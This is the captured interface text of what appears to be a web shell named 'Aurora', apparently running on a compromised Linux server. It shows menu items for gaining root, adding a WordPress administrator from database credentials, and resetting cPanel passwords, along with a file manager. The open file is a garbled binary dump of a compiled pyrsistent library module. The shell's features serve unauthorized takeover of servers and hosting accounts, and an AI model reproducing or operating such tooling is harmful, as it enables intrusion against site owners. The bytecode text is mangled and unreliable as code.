Aurora
Adminer
Auto Root
WP Admin
cPanel Reset
Anti Backdoor
Root
usr
lib64
python3.9
site-packages
pyrsistent
__pycache__
Upload
New Folder
New File
Name
Size
Permissions
Actions
..
-
-
-
Upload File
Select File
New Folder
Folder Name
New File
File Name
Add WordPress Admin
Database Host
Database Name
Database User
Database Password
Admin Username
Admin Password
cPanel Password Reset
Email Address
Edit: _helpers.cpython-39.pyc
a `�]_� � @ sX d dl mZ d dlmZmZ d dlmZmZ d dlm Z m Z dd� Zdd� Zd d � Z dS )� ��wraps)�PMap�pmap)�PSet�pset)�PVector�pvectorc C sj t | �}|tu r*ttdd� | �� D ���S |tu r@ttt| ��S |tu rVttt| ��S |t u rft | �S | S )a Recursively convert simple Python containers into pyrsistent versions of those containers. - list is converted to pvector, recursively - dict is converted to pmap, recursively on values (but not keys) - set is converted to pset, but not recursively - tuple is converted to tuple, recursively. Sets and dict keys are not recursively frozen because they do not contain mutable data by convention. The main exception to this rule is that dict keys and set elements are often instances of mutable objects that support hash-by-id, which this function can't convert anyway. >>> freeze(set([1, 2])) pset([1, 2]) >>> freeze([1, {'a': 3}]) pvector([1, pmap({'a': 3})]) >>> freeze((1, [])) (1, pvector([])) c s s | ]\}}|t |�fV qd S �N��freeze��.0�k�v� r �9/usr/lib64/python3.9/site-packages/pyrsistent/_helpers.py� <genexpr> � zfreeze.<locals>.<genexpr>)�type�dictr �items�listr �mapr �tuple�setr )�o�typr r r r s r c C sh t | t�rttt| ��S t | t�r8tdd� | �� D ��S t | t�rJt | �S t | �tu rdttt| ��S | S )a� Recursively convert pyrsistent containers into simple Python containers. - pvector is converted to list, recursively - pmap is converted to dict, recursively on values (but not keys) - pset is converted to set, but not recursively - tuple is converted to tuple, recursively. >>> from pyrsistent import s, m, v >>> thaw(s(1, 2)) {1, 2} >>> thaw(v(1, m(a=3))) [1, {'a': 3}] >>> thaw((1, v())) (1, []) c s s | ]\}}|t |�fV qd S r )�thawr r r r r = r zthaw.<locals>.<genexpr>)� isinstancer r r r r r Z iteritemsr r r r )r r r r r ) s r c s t � �� fdd��}|S )a Convenience decorator to isolate mutation to within the decorated function (with respect to the input arguments). All arguments to the decorated function will be frozen so that they are guaranteed not to change. The return value is also frozen. c s. t � dd� | D �i tdd� |�� D �����S )Nc S s g | ]}t |��qS r r )r �er r r � <listcomp>O r z+mutant.<locals>.inner_f.<locals>.<listcomp>c s s | ]}t |�V qd S r r )r �itemr r r r O r z*mutant.<locals>.inner_f.<locals>.<genexpr>)r r r )�args�kwargs��fnr r �inner_fM s zmutant.<locals>.inner_fr )r&